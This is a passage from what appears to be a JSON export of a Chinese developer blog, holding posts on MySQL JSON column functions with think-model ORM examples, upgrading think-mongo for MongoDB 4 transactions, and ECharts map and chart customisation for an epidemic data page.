JavaScript 中的 findIndex() 操作。 我们在这里不对每个方法进行逐个的举例描述，仅提出一些场景举例应该怎么操作。\n返回用户的年龄和性别 举这个例子就是想告诉下大家怎么获取 JSON 数据中的部分内容，并按照正常的表字段进行返回。这块可以使用 JSON_EXTRACT 或者等价的 -\u0026gt; 操作都可以。其中根据例子可以看到 sex 返回的数据都带有引号，这个时候可以使用 JSON_UNQUOTE() 或者直接使用 -\u0026gt;\u0026gt; 就可以把引号去掉了。\nmysql\u0026gt; SELECT `name`, JSON_EXTRACT(`info`, \u0026#39;$.age\u0026#39;) as `age`, `info`-\u0026gt;\u0026#39;$.sex\u0026#39; as sex FROM `user`; +-----------+------+----------+ | name | age | sex | +-----------+------+----------+ | lilei | 18 | \u0026#34;male\u0026#34; | | hanmeimei | 16 | \u0026#34;female\u0026#34; | +-----------+------+----------+ 2 rows in set (0.00 sec) 这里我们第一次接触到了 Path 的写法，MySQL 通过这种字符串的 Path 描述帮助我们映射到对应的数据。和 JavaScript 中对象的操作比较类似，通过 . 获取下一级的属性，通过 [] 获取数组元素。\n不一样的地方在于需要通过 $ 表示本身，这个也比较好理解。另外就是可以使用 * 和 ** 两个通配符，比如 .* 表示当前层级的所有成员的值，[*] 则表示当前数组中所有成员值。** 类似 LIKE 一样可以接前缀和后缀，比如 a**b 表示的是以 a 开头，b结尾的路径。\n路径的写法非常简单，后面的内容里也会出现。上面的这个查询对应在 think-model 的写法为\n//user.js module.exports = class extends think.Controller { async indexAction() { const userModel = this.model(\u0026#39;user\u0026#39;); const field = \u0026#34;name, JSON_EXTRACT(info, \u0026#39;$.age\u0026#39;) AS age, info-\u0026gt;\u0026#39;$.sex\u0026#39; as sex\u0026#34;; const users = await userModel.field(field).where(\u0026#39;1=1\u0026#39;).select(); return this.success(users); } } 返回喜欢篮球的男性用户 mysql\u0026gt; SELECT `name` FROM `user` WHERE JSON_CONTAINS(`info`, \u0026#39;\u0026#34;male\u0026#34;\u0026#39;, \u0026#39;$.sex\u0026#39;) AND JSON_SEARCH(`info`, \u0026#39;one\u0026#39;, \u0026#39;basketball\u0026#39;, null, \u0026#39;$.hobby\u0026#39;); +-------+ | name | +-------+ | lilei | +-------+ 1 row in set, 1 warning (0.00 sec) 这个例子就是简单的告诉大家怎么对属性和数组进行查询搜索。其中需要注意的是 JSON_CONTAINS() 查询字符串由于不带类型转换的问题字符串需要使用加上 \u0026quot;\u0026quot; 包裹查询，或者使用 JSON_QUOTE('male') 也可以。\n如果你使用的是 MySQL 8 的话，也可以使用新增的 JSON_VALUE() 来代替 JSON_CONTAINS()，新方法的好处是会带类型转换，避免刚才双引号的尴尬问题。不需要返回的路径的话，JSON_SEARCH() 在这里也可以使用新增的 MEMBER OF 或者 JSON_OVERLAPS() 方法替换。\nmysql\u0026gt; SELECT `name` FROM `user` WHERE JSON_VALUE(`info`, \u0026#39;$.sex\u0026#39;) = \u0026#39;male\u0026#39; AND \u0026#39;basketball\u0026#39; MEMBER OF(JSON_VALUE(`info`, \u0026#39;$.hobby\u0026#39;)); +-------+ | name | +-------+ | lilei | +-------+ 1 row in set (0.00 sec) mysql\u0026gt; SELECT `name` FROM `user` WHERE JSON_VALUE(`info`, \u0026#39;$.sex\u0026#39;) = \u0026#39;male\u0026#39; AND JSON_OVERLAPS(JSON_VALUE(`info`, \u0026#39;$.hobby\u0026#39;), JSON_QUOTE(\u0026#39;basketball\u0026#39;)); +-------+ | name | +-------+ | lilei | +-------+ 1 row in set (0.00 sec) 上面的这个查询对应在 think-model 的写法为\n//user.js module.exports = class extends think.Controller { async indexAction() { const userModel = this.model(\u0026#39;user\u0026#39;); const where = { _string: [ \u0026#34;JSON_CONTAINS(info, \u0026#39;\\\u0026#34;male\\\u0026#34;\u0026#39;, \u0026#39;$.sex\u0026#39;)\u0026#34;, \u0026#34;JSON_SEARCH(info, \u0026#39;one\u0026#39;, \u0026#39;basketball\u0026#39;, null, \u0026#39;$.hobby\u0026#39;)\u0026#34; ] }; const where1 = { _string: [ \u0026#34;JSON_VALUE(`info`, \u0026#39;$.sex\u0026#39;) = \u0026#39;male\u0026#39;\u0026#34;, \u0026#34;\u0026#39;basketball\u0026#39; MEMBER OF (JSON_VALUE(`info`, \u0026#39;$.hobby\u0026#39;))\u0026#34; ] }; const where2 = { _string: [ \u0026#34;JSON_VALUE(`info`, \u0026#39;$.sex\u0026#39;) = \u0026#39;male\u0026#39;\u0026#34;, \u0026#34;JSON_OVERLAPS(JSON_VALUE(`info`, \u0026#39;$.hobby\u0026#39;), JSON_QUOTE(\u0026#39;basketball\u0026#39;))\u0026#34; ] } const users = await userModel.field(\u0026#39;name\u0026#39;).where(where).select(); return this.success(users); } } 修改数据 MySQL 提供的 JSON 操作函数中，和修改操作相关的方法主要如下：\nJSON_APPEND/JSON_ARRAY_APPEND：这两个名字是同一个功能的两种叫法，MySQL 5.7 的时候为 JSON_APPEND，MySQL 8 更新为 JSON_ARRAY_APPEND，并且之前的名字被废弃。该方法如同字面意思，给数组添加值。使用方法 JSON_ARRAY_APPEND(json_doc, path, val[, path, val] ...) JSON_ARRAY_INSERT：给数组添加值，区别于 JSON_ARRAY_APPEND() 它可以在指定位置插值。使用方法 JSON_ARRAY_INSERT(json_doc, path, val[, path, val] ...) JSON_INSERT/JSON_REPLACE/JSON_SET：以上三个方法都是对 JSON 插入数据的，他们的使用方法都为 JSON_[INSERT|REPLACE|SET](json_doc, path, val[, path, val] ...)，不过在插入原则上存在一些差别。 JSON_INSERT：当路径不存在才插入 JSON_REPLACE：当路径存在才替换 JSON_SET：不管路径是否存在 JSON_REMOVE：移除指定路径的数据。使用方法 JSON_REMOVE(json_doc, path[, path] ...) 由于 JSON_INSERT, JSON_REPLACE, JSON_SET 和 JSON_REMOVE 几个方法支持属性和数组的操作，所以前两个 JSON_ARRAY 方法用的会稍微少一点。下面我们根据之前的数据继续举几个实例看看。\n修改用户的年龄 mysql\u0026gt; UPDATE `user` SET `info` = JSON_REPLACE(`info`, \u0026#39;$.age\u0026#39;, 20) WHERE `name` = \u0026#39;lilei\u0026#39;; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql\u0026gt; SELECT JSON_VALUE(`info`, \u0026#39;$.age\u0026#39;) as age FROM `user` WHERE `name` = \u0026#39;lilei\u0026#39;; +------+ | age | +------+ | 20 | +------+ 1 row in set (0.00 sec) JSON_INSERT 和 JSON_SET 的例子也是类似，这里就不多做演示了。对应到 think-model 中的话，需要使用 EXP 条件表达式处理，对应的写法为\n//user.js module.exports = class extends think.Controller { async indexAction() { const userModel = this.model(\u0026#39;user\u0026#39;); await userModel.where({name: \u0026#39;lilei\u0026#39;}).update({ info: [\u0026#39;exp\u0026#39;, \u0026#34;JSON_REPLACE(info, \u0026#39;$.age\u0026#39;, 20)\u0026#34;] }); return this.success(); } } 修改用户的爱好 mysql\u0026gt; UPDATE `user` SET `info` = JSON_ARRAY_APPEND(`info`, \u0026#39;$.hobby\u0026#39;, \u0026#39;badminton\u0026#39;) WHERE `name` = \u0026#39;lilei\u0026#39;; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql\u0026gt; SELECT JSON_VALUE(`info`, \u0026#39;$.hobby\u0026#39;) as hobby FROM `user` WHERE `name` = \u0026#39;lilei\u0026#39;; +-----------------------------------------+ | hobby | +-----------------------------------------+ | [\u0026#34;basketball\u0026#34;, \u0026#34;football\u0026#34;, \u0026#34;badminton\u0026#34;] | +-----------------------------------------+ 1 row in set (0.00 sec) JSON_ARRAY_APPEND 在对数组进行操作的时候还是要比 JSON_INSERT 之类的方便的，起码你不需要知道数组的长度。对应到 think-model 的写法为\n//user.js module.exports = class extends think.Controller { async indexAction() { const userModel = this.model(\u0026#39;user\u0026#39;); await userModel.where({name: \u0026#39;lilei\u0026#39;}).update({ info: [\u0026#39;exp\u0026#39;, \u0026#34;JSON_ARRAY_APPEND(info, \u0026#39;$.hobby\u0026#39;, \u0026#39;badminton\u0026#39;)\u0026#34;] }); return this.success(); } } 删除用户的分数 mysql\u0026gt; UPDATE `user` SET `info` = JSON_REMOVE(`info`, \u0026#39;$.score[0]\u0026#39;) WHERE `name` = \u0026#39;lilei\u0026#39;; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql\u0026gt; SELECT `name`, JSON_VALUE(`info`, \u0026#39;$.score\u0026#39;) as score FROM `user` WHERE `name` = \u0026#39;lilei\u0026#39;; +-------+-----------+ | name | score | +-------+-----------+ | lilei | [90, 100] | +-------+-----------+ 1 row in set (0.00 sec) 删除这块和之前修改操作类似，没有什么太多需要说的。但是对数组进行操作很多时候我们可能就是想删值，但是却不知道这个值的 Path 是什么。这个时候就需要利用之前讲到的 JSON_SEARCH() 方法，它是根据值去查找路径的。比如说我们要删除 lilei 兴趣中的 badminton 选项可以这么写。\nmysql\u0026gt; UPDATE `user` SET `info` = JSON_REMOVE(`info`, JSON_UNQUOTE(JSON_SEARCH(`info`, \u0026#39;one\u0026#39;, \u0026#39;badminton\u0026#39;))) WHERE `name` = \u0026#39;lilei\u0026#39;; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql\u0026gt; SELECT JSON_VALUE(`info`, \u0026#39;$.hobby\u0026#39;) as hobby FROM `user` WHERE `name` = \u0026#39;lilei\u0026#39;; +----------------------------+ | hobby | +----------------------------+ | [\u0026#34;basketball\u0026#34;, \u0026#34;football\u0026#34;] | +----------------------------+ 1 row in set (0.00 sec) 这里需要注意由于 JSON_SEARCH 不会做类型转换，所以匹配出来的路径字符串需要进行 JSON_UNQUOTE() 操作。另外还有非常重要的一点是 JSON_SEARCH 无法对数值类型数据进行查找，也不知道这个是 Bug 还是 Feature。这也是为什么我没有使用 score 来进行举例而是换成了 hobby 的原因。如果数值类型的话目前只能取出来在代码中处理了。\nmysql\u0026gt; SELECT JSON_VALUE(`info`, \u0026#39;$.score\u0026#39;) FROM `user` WHERE `name` = \u0026#39;lilei\u0026#39;; +-------------------------------+ | JSON_VALUE(`info`, \u0026#39;$.score\u0026#39;) | +-------------------------------+ | [90, 100] | +-------------------------------+ 1 row in set (0.00 sec) mysql\u0026gt; SELECT JSON_SEARCH(`info`, \u0026#39;one\u0026#39;, 90, null, \u0026#39;$.score\u0026#39;) FROM `user` WHERE `name` = \u0026#39;lilei\u0026#39;; +-------------------------------------------------+ | JSON_SEARCH(`info`, \u0026#39;one\u0026#39;, 90, null, \u0026#39;$.score\u0026#39;) | +-------------------------------------------------+ | NULL | +-------------------------------------------------+ 1 row in set (0.00 sec) 以上对应到 think-model 的写法为\n//user.js module.exports = class extends think.Controller { async indexAction() { const userModel = this.model(\u0026#39;user\u0026#39;); // 删除分数 await userModel.where({name: \u0026#39;lilei\u0026#39;}).update({ info: [\u0026#39;exp\u0026#39;, \u0026#34;JSON_REMOVE(info, \u0026#39;$.score[0]\u0026#39;)\u0026#34;] }); // 删除兴趣 await userModel.where({name: \u0026#39;lilei\u0026#39;}).update({ info: [\u0026#39;exp\u0026#39;, \u0026#34;JSON_REMOVE(`info`, JSON_UNQUOTE(JSON_SEARCH(`info`, \u0026#39;one\u0026#39;, \u0026#39;badminton\u0026#39;)))\u0026#34;] }); return this.success(); } } 后记 由于最近有一个需求，有一堆数据，要记录这堆数据的排序情况，方便根据排序进行输出。一般情况下肯定是给每条数据增加一个 order 字段来记录该条数据的排序情况。但是由于有着批量操作，在这种时候使用单字段去存储会显得特别麻烦。在服务端同事的见一下，我采取了使用 JSON 字段存储数组的情况来解决这个问题。\n也因为这样了解了一下 MySQL 对 JSON 的支持情况，同时将 think-model 做了一些优化，对 JSON 数据类型增加了支持。由于大部分 JSON 操作需要通过内置的函数来操作，这个本身是可以通过 EXP 条件表达式来完成的。所以只需要对 JSON 数据的添加和查询做好优化就可以了。\n整体来看，配合提供的 JSON 操作函数，MySQL 对 JSON 的支持完成一些日常的需求还是没有问题的。除了作为 WHERE 条件以及查询字段之外，其它的 ORDER, GROUP, JOIN 等操作也都是支持 JSON 数据的。\n不过对比 MongoDB 这种天生支持 JSON 的话，在操作性上还是要麻烦许多。特别是在类型转换这块，使用一段时间后发现非常容易掉坑。什么时候会带引号，什么时候会不带引号，什么时候需要引号，什么时候不需要引号，这些都容易让新手发憷。另外 JSON_SEARCH() 不支持数字查找这个也是一个不小的坑了。\n","count":3726,"date":"2020年09月06日","featuredImage":"https://imnerd.org/assets/migration/p2.ssl.qhimgs4.com/t01bff5c9a93aac5abf.jpg","permalink":"https://imnerd.org/think-model-support-json-type.html","summary":"\u003cp\u003eMySQL 5.7 增加了 JSON 数据类型的支持，在之前如果要存储 JSON 类型的数据的话我们只能自己做 \u003ccode\u003eJSON.stringify()\u003c/code\u003e 和 \u003ccode\u003eJSON.parse()\u003c/code\u003e 的操作，而且没办法针对 JSON 内的数据进行查询操作，所有的操作必须读取出来 parse 之后进行，非常的麻烦。原生的 JSON 数据类型支持之后，我们就可以直接对 JSON 进行数据查询和修改等操作了，较之前会方便非常多。\u003c/p\u003e","time":8,"title":"谈谈 MySQL 的 JSON 数据类型操作"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":"今天是端午节，首先祝大家端午节快乐，然后今天要和大家说一下最近对 think-mongo 模块做了一些升级。ThinkJS 3 虽然已经支持使用 think-mongoose 来接入 mongoose 模块，不过因为文档这块默认还是 think-mongo 所以用这个模块的同学还是比较多。而这个模块因为是两三年前开发的了，依赖的 mongodb 模块一直是 2.x 的版本，适配 MongoDB 数据库 2.0 版本。而 MongoDB 在 2015 年的时候就升级到了 3.0 版本，2018 年的时候升级到了 4.0 的版本。其中 4.0 的版本增加了事务的功能，这个让许多同学非常心动。所以很多同学提 issue 问能否将 think-mongo 升级一下支持最新版的 MongoDB。\n想要适配 MongoDB 其实就是要升级底层依赖的 mongodb 模块，而它在适配新版的同时修改了大量的 API 接口，导致我们没办法直接修改版本号搞定这件事情。之前因为业务中没有 MongoDB 数据库的需求，所以我们也就没有对这个事情做处理，原本是希望有需求的同学可以自行提 PullRequest 的。不过恰好最近新项目中有需要使用 MongoDB 的事务，所以我这边就对其进行了新版本适配的处理。\nAPI 适配 大部分的 API 变更可以在 CHANGES_3.0.0.md 这个文档中找到。首先是之前所有在 Db 类上的方法拆分成了 Client 类和 Db 类，这个影响了 MongoDB 创建连接时的逻辑。\n//之前的写法 MongoClient.connect(\u0026#39;mongodb://localhost:27017/test\u0026#39;, (err, db) =\u0026gt; { // Database returned }); //现在的写法 MongoClient.connect(\u0026#39;mongodb://localhost:27017/test\u0026#39;, (err, client) =\u0026gt; { // Client returned var db = client.db(\u0026#39;test\u0026#39;); }); 另外就是增删改查的 API 做了修改，包括但不局限于\ncollection.insert() 被细化成了 collection.insertOne() 和 collection.insertMany() collection.remove() 被细化成了 collection.deleteOne() 和 collection.deleteMany() collection.update() 被细化成了 collection.updateOne() 和 collection.updateMany() collection.find(where, field) 被拆分成了 collection.find(where).project(field) 可以看到操作都分成了单个操作和多个操作。think-mongo 中因为有 add() 和 addMany() 所以正好可以对应 insertOne() 和 insertMany() ，而 update() 和 delete() 是没有做单个和多个的区别的，所以只能映射到 updateMany() 和 deleteMany() 方法。\n还有一个修改是 collection.aggregate() 方法，原先直接返回结果现在返回后还需要执行下 cursor.toArray() 才能拿到结果。\n事务 升级后就可以使用 MongDB 原生的事务特性了。MongoDB 的事务操作和 SQL 的事务操作不太一样，SQL 类的是通过 START TRANSACTION、COMMIT 和 ROLLBACK 语句标记来记录一次事务的。MongoDB 的我觉得更像是 JS 操作。\nconst client = new MongoClient(uri); await client.connect(); const session = client.startSession(); try { session.startTransaction(); await client.db(\u0026#39;think_db\u0026#39;).add({name: \u0026#39;thinkjs\u0026#39;}, {session}); await session.commitTransaction(); } catch(e) { await session.abortTransaction(); } finally { await session.endSession(); } await client.close(); 可以看到 MongoDB 会给每次事务创建一个 session 会话记录，所有的 CURD 操作需要将会话标记通过参数的形式传入进去，这样所有的操作就能挂载到当前的事务会话中。最后通过 commitTransaction、abortTransaction() 来对事务提交进行操作。基于这个原理我们包装了 transaction() 方法，用来帮助大家方便的实现事务操作。\n// src/controller/user.js module.exports = class extends think.Controller{ async indexAction() { const UserModel = this.mongo(\u0026#39;user\u0026#39;); const PostModel = this.mongo(\u0026#39;post\u0026#39;); await UserModel.transaction(async session =\u0026gt; { PostModel.options.session = session; const userId = await UserModel.add({name: \u0026#39;lizheming\u0026#39;}); await PoserModel.add({userId, content: \u0026#39;Hello World\u0026#39;}); }); } } 可以看到我们并没有在 add() 操作中将 session 会话标记传入，这是因为我们会将它放在示例的 options 属性中，之后的所有的 CURD 操作都会将它透传下去，这样就避免了我们人工显式地去传递它了。同时由于 session 标记只在当前创建事务的表中存在，所以在进行多表操作的时候，为了让其它表也能透传会话标记，需要显式的进行标记赋值操作PostModel.options.session = session;，保证跨表操作都能记录在一次事务中。\n后记 由于事务需要 MongoDB 开启集群模式，而我们在 Travis CI 上跑单元测试的时候依赖了它提供的 mongodb 服务，为了让这个服务能切换成集群模式顺利将单元测试跑成功我又做了好多无意义的提交。主要是网上查到的资料也都比较老了，很多 MongoDB 的配置都做了修改，比如找到的资料是 toml 格式的配置，而新的配置已经是 yaml 的配置了。当然这些也都是我踩了好几下坑才发现的就是了。\n以上就是 think-mongo 升级适配最新的 MongoDB 4.x 的一些总结，内部的适配都已经在 think-mongo@2.1.0 版本中集成，有需要的同学可以升级下对应的模块使用。如果项目中有直接使用 mongodb 模块提供的原生方法操作数据的话需要注意按照本文说的一些变更进行修改适配，切记！\n最后的最后，再一次祝大家端午节快乐。2020 年注定是不平凡的一年，大家且行且珍惜。\n","count":1481,"date":"2020年06月25日","featuredImage":"https://imnerd.org/assets/migration/p2.ssl.qhimgs4.com/t01ef7db4430792525e.png","permalink":"https://imnerd.org/think-mongo-adapter-with-mongodb4.html","summary":"\u003cp\u003e今天是端午节，首先祝大家端午节快乐，然后今天要和大家说一下最近对 \u003ccode\u003ethink-mongo\u003c/code\u003e 模块做了一些升级。ThinkJS 3 虽然已经支持使用 \u003ccode\u003ethink-mongoose\u003c/code\u003e 来接入 mongoose 模块，不过因为文档这块默认还是 \u003ccode\u003ethink-mongo\u003c/code\u003e 所以用这个模块的同学还是比较多。而这个模块因为是两三年前开发的了，依赖的 mongodb 模块一直是 2.x 的版本，适配 MongoDB 数据库 2.0 版本。而 MongoDB 在 2015 年的时候就升级到了 3.0 版本，2018 年的时候升级到了 4.0 的版本。其中 4.0 的版本增加了事务的功能，这个让许多同学非常心动。所以很多同学提 issue 问能否将 \u003ccode\u003ethink-mongo\u003c/code\u003e 升级一下支持最新版的 MongoDB。\u003c/p\u003e","time":3,"title":"think-mongo 升级适配 mongodb 4"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"最近开发肺炎疫情专题页，大量的使用到了 ECharts 地图和图表相关的功能。之前也没有使用过 ECharts，所以把一些稍微复杂的需求实现总结一下，希望以后能帮助到大家。\n地图 不同的文字颜色 上面是一个非常简单的中国肺炎确诊数地图，其中的数据都是模拟非真实的数据。默认文字颜色都是黑色的，但是由于湖北的背景色比较重，所以需要换一个浅色的文字。省名都已经使用 label.formatter 方法进行了重新的格式化，而 formatter 支持 rich 文本，格式为 {\u0026lt;stylename\u0026gt;|text}，可以针对部分标签进行样式个性化。\n{ geo: { label: { formatter(params) { const serieItem = dataList.find(({name}) =\u0026gt; params.name === name); if (serieItem \u0026amp;\u0026amp; serieItem.value \u0026gt; 1000) { return `{white|${params.name}}`; } }, rich: { white: { fontSize: 14, color: \u0026#39;#FFF\u0026#39; } } } } } 但是这么做了之后你会发现 hover 的时候也还是白色的，这时候因为 hover 的背景色变成亮色了就会不和谐了。后来发现其实 map 数据有一个 regions 属性可以支持对不同地区进行样式个性化，通过 regions.label 单独针对湖北进行标签颜色设置就不会影响 hover 时候的状态了。\n{ geo: { regions: dataList.filter(({value}) =\u0026gt; value \u0026gt; 1000).map(({name}) =\u0026gt; ({ name, label: { color: \u0026#39;#FFF\u0026#39; } })) } } 展示 tooltip 地图完成后需要自定义提示框，这个直接使用 tooltip.formatter 方法自定义即可。提示框是 ECharts 使用 HTML 追加上去的，所以我们可以愉快的忽略掉 tooltip 中所有的样式配置自己写 CSS 就好了。如果你的提示框里有按钮或者链接需要被点击，记得将 tooltip.enterable 设置成 true。\n除了 hover 展示提示框，产品还想要一进入页面就展示某个地区的提示框，这个时候就需要使用 dispatchAction() 来触发事件了。其中 seriesIndex 是必填参数，官网文档中写的 系列的 index，在 tooltip 的 trigger 为 axis 的时候可选。 把我误导了很久，一直以为是非必填参数。\nmyChart.dispatchAction({ type: \u0026#34;showTip\u0026#34;, seriesIndex: 0, name: \u0026#34;湖北\u0026#34; }); 挪动文字位置 地图完成后 PC 上效果还行，但是在移动端有些地方太小就不太好选中，比如香港和澳门。在明确地图点击区域范围无法修改，沟通之后他们想要把香港、澳门两个文字标注拖出来一点，然后将文字的点击区域变大来解决地图无法点击的问题。\nECharts 的地图库文件是使用的 geojson 格式编写，然后使用 ECharts 独有的万国码编码方式进行编码。可以打开库文件看一下，整体的结构还是 geojson 的结构，只是在 coordinate 字段对一系列的坐标值进行了编码压缩体积。下面是 ECharts geojson 的示例，其中 features.properties.cp 属性点的位置就是 ECharts 用来指定标签绘制的位置的。也就是说我们只要直接修改地图文件中的这个坐标点就能实现我们移动标签名的需求了。\n{ \u0026#34;type\u0026#34;: \u0026#34;FeatureCollection\u0026#34;, \u0026#34;features\u0026#34;: [ { \u0026#34;id\u0026#34;: \u0026#34;820000\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;Feature\u0026#34;, \u0026#34;geometry\u0026#34;: { \u0026#34;type\u0026#34;: \u0026#34;Polygon\u0026#34;, \u0026#34;coordinates\u0026#34;: [ [ [113.5537109375, 22.1083984375], [113.5322265625, 22.17578125], [113.5498046875, 22.21484375], [113.6044921875, 22.1337890625], [113.5537109375, 22.1083984375] ] ], \u0026#34;encodeOffsets\u0026#34;: [ [116279, 22639] ] }, \u0026#34;properties\u0026#34;: { \u0026#34;cp\u0026#34;: [114.54909, 21.198951], \u0026#34;name\u0026#34;: \u0026#34;澳门\u0026#34;, \u0026#34;childNum\u0026#34;: 1 } } ], \u0026#34;UTF8Encoding\u0026#34;: false } 修改坐标点，大家可以手工加减坐标调整，也可以使用 ECharts 的事件返回，它提供了 convertFromPixel() 方法将画布上的像素点转成成经纬度坐标。这样我们就可以通过鼠标点击来返回合适的坐标点了。\nmapChart.getZr().on(\u0026#39;click\u0026#39;, params =\u0026gt; { const pointInPixel = [params.offsetX, params.offsetY]; if(!mapChart.containPixel(\u0026#39;geo\u0026#39;, pointInPixel)) { return; } const [longitude, latitude] = mapChart.convertFromPixel(\u0026#39;geo\u0026#39;, pointInPixel); console.log([logitude, latitude]); }); 将省市名称挪动到合适的位置后，根据产品需求还需要增大它们的点击区域。这个时候我们可以利用刚才的思路，点击的时候是可以获取到当前位置的坐标的，那么我只需要定义范围，在这个范围内的点击就认为点击到了名称并执行对应的操作即可。\nconst criticalValues = { 香港: { latitude: {min: 21.351907733532478, max: 22.593942914070382}, longitude: {min: 115.2082740504213, max: 118.71519666876716} }, 澳门: { latitude: {min: 19.817628981103297, max: 21.20578594758684}, longitude: {min: 111.60393691489914, max: 115.2082740504213}, } }; function getTarget(mapChart, criticalValues, pointInPixel) { if(!mapChart.containPixel(\u0026#39;geo\u0026#39;, pointInPixel)) { return; } const [longitude, latitude] = mapChart.convertFromPixel(\u0026#39;geo\u0026#39;, pointInPixel); for(const province in criticalValues) { const {min: minLati, max: maxLati} = criticalValues[province].latitude; const {min: minLong, max: maxLong} = criticalValues[province].longitude; if(latitude \u0026lt; minLati || latitude \u0026gt; maxLati) { continue; } if(longitude \u0026lt; minLong || longitude \u0026gt; maxLong) { continue; } return province; } } mapChart.getZr().on(\u0026#39;click\u0026#39;, params =\u0026gt; { const pointInPixel = [params.offsetX, params.offsetY]; const province = getTarget(mapChart, criticalValues, pointInPixel); if(!province) { return; } mapChart.dispatchAction({ type: \u0026#39;showTip\u0026#39;, seriesIndex: 0, name: province, position: \u0026#39;top\u0026#39; }); }); 增加辅助线 标签名字离远了之后产品又怕会对地图造成歧义歧义引发法律问题，所以让我再增加两根指向线将名称和地域进行指向标记。在 GeoJSON 中是支持使用 LineString 画线的，也是定义一些关键坐标即可。不过不知道是不是 ECharts 不支持，我这边尝试并没有成功。后来看到 ECharts 其实是支持类似跃迁图的，虽然大材小用，但也是能实现这个需求的。\n{ series: [ { name: \u0026#39;辅助线\u0026#39;, type: \u0026#39;lines\u0026#39;, silent: true, lineStyle: { color: \u0026#39;black\u0026#39;, opacity: 1, }, data: [ {coords: [ [114.42895791301109, 22.155577556233474], [115.5979321191264, 21.936394877315017] ]}, {coords: [ [113.45481274124836, 21.936394877315017], [113.35739822407209, 21.20578594758684] ]}, ] } ] } 图表 多行图例 除了地图之外，页面内还有很多可视化图表的需求。其中有一个需求是需要实现将图例两行排列。ECharts 中是没有直接的参数控制图例的排列方式的。后来搜索到其实 legend 是可以定义成数组的，通过 legend.top 去控制每行图例的高度即可。\n{ legend: [ { x: \u0026#39;center\u0026#39;, top: 40, icon: \u0026#39;circle\u0026#39;, itemWidth: 7, itemHeight: 7, textStyle: { color: \u0026#39;#888\u0026#39; }, data: [\u0026#39;新增病例\u0026#39;, \u0026#39;累计病例\u0026#39;] }, { x: \u0026#39;center\u0026#39;, top: 60, icon: \u0026#39;circle\u0026#39;, itemWidth: 7, itemHeight: 7, textStyle: { color: \u0026#39;#888\u0026#39; }, data: [\u0026#39;新增疑似\u0026#39;, \u0026#39;累计疑似\u0026#39;] }, ] } 布局对齐 不等距Y轴 2月12日的时候，由于卫健委更改了肺炎疫情的确诊标准，把临床确诊的病例也加入进来，导致了当天病例数大量的增加，图表其它数据则由于该峰值其它数据都不明显了，结果则如上图。为了解决这个问题，数据统计的同事建议我们将该异常峰值在图表中的点位拉低，顶部 Y 轴刻度线不标记具体刻度，点上标记真实数字，相邻数据使用虚线连接。这样处理能比较好的解决单个点位异常峰值的问题，大家最后都比较认同这种处理方案。\n那 ECharts 需要如何实现这种方案呢？总结一下我们应该需要实现以下三部分：\n虚线连接相邻数据 异常值点位拉低，并将其真实数据使用文字标出 顶部实现一处不标记 Y 轴点位的坐标阴影区 异常值虚线连接相邻数据 我们知道 ECharts 是可以通过 series.lineStyle 来设置线段的样式的，但是它最大的问题是没办法设置部分线段的样式。取巧的办法就是将单条线段数据分成两条实线和虚线，实线显示的点位虚线数据补为空，虚线显示的点位实现补上空数据。这样就能分别针对两条数据进行线段样式设置了。\n同时由于本质上是两条数据，我们为了让线段显示连续，所以在结合处做了重复数据显示。所以在 tooltip 显示的时候会出现两个重复数据显示以及空值显示等问题，需要使用 tooltip.formatter 单独处理一下。\n{ xAxis: { data: [\u0026#39;02.09\u0026#39;, \u0026#39;02.10\u0026#39;, \u0026#39;02.11\u0026#39;, \u0026#39;02.12\u0026#39;, \u0026#39;02.13\u0026#39;, \u0026#39;02.14\u0026#39;, \u0026#39;02.15\u0026#39;] }, series: [ { name: \u0026#34;新增确诊\u0026#34;, data: [2656, 3062, 2478, null, 2450, 2277, 1918] }, { name: \u0026#34;新增确诊\u0026#34;, data: [null, null, 2478, 15153, 2450, null, null], itemStyle: { normal: { lineStyle: {type: \u0026#39;dotted\u0026#39;} } } } ], tooltip: { formatter(params) { //使用哈希表过滤掉同线段名称的重复数据以及空值 const paramsObj = {}; params.forEach(p =\u0026gt; { if(p.value !== null) { paramsObj[p.seriesName] = p; } }); const newParams = Object.values(paramsObj).map(p =\u0026gt; p.marker + \u0026#39; \u0026#39; + p.seriesName + \u0026#39;: \u0026#39; + value); return newParams.length ? params[0].name + \u0026#39;\u0026lt;br/\u0026gt;\u0026#39; + newParams.join(\u0026#39;\u0026lt;br/\u0026gt;\u0026#39;) : \u0026#39;\u0026#39;; } }, } 异常值点位拉低 我们知道折线图图表点的所在高度是和它的值是有关系的，所以要实现异常值点位拉低，则需要显示的修改它的值才行。同时增加一个 raw 字段的映射标记下原始值，方便在 label 和 tooltip 中使用。\n{ series: [ { name: \u0026#34;新增确诊\u0026#34;, //为了拉低点位将异常值的显示点位值拉低到 4000，同时使用 except 记录真实值，方便 label 中使用 data: [null, null, 2478, {value: 4000, except: 15153}, 2450, null, null], } ], label: { formatter(param) { if(param.data \u0026amp;\u0026amp; param.data.except) { return param.data.except; } } } } 不标记的Y轴空挡区 如何创建一个不标记数字的 Y 轴空档区？这个我查了下资料还真没找到方法，最后也是通过一个取巧的方法实现的。通过文档知道了 Y 轴是可以通过 yAxis.axisLabel.showMaxLabel 设置不显示最大值的标记。所以我将异常值设置成和 Y 轴最大刻度值一致，这样就能有一个顶部空档区了。最后综合下显示出来的效果就如下图。\n{ yAxis: { axisLabel: { showMaxLabel: false } } } 数字排列 移动端因为位置太小的原因，我们最开始没有将折线数字外显的，点击后会出提示框显示当天的数据。后来老板觉得不直观，让我们加上了数字外显的逻辑。这个时候就会碰上某些地方因为数值的原因数字显示会挤在一块。而 label 顶多只能通过 label.position 统一设置该条数据的数字的显示位置是在上方还是在下方，对于局部的微调则无能为力了。\n最后看到 label.formatter 是可以返回 {\u0026lt;style_name\u0026gt;|value} 这样的 rich 文本格式来自定义样式的，在自定义样式中可以设置 padding 来控制该点数字的偏移。例如下面的代码就实现了当前确诊数大于疑似数的时候，疑似数向下显示，否则确诊数向下显示的逻辑。\n{ series: [ { name: \u0026#39;累计确诊\u0026#39;, label: { formatter(param) { const {diagnosed, suspected} = data[data.length - 1 - param.dataIndex]; if(parseInt(diagnosed) \u0026lt; parseInt(suspected)) { return `{padding|${param.value}}`; } }, 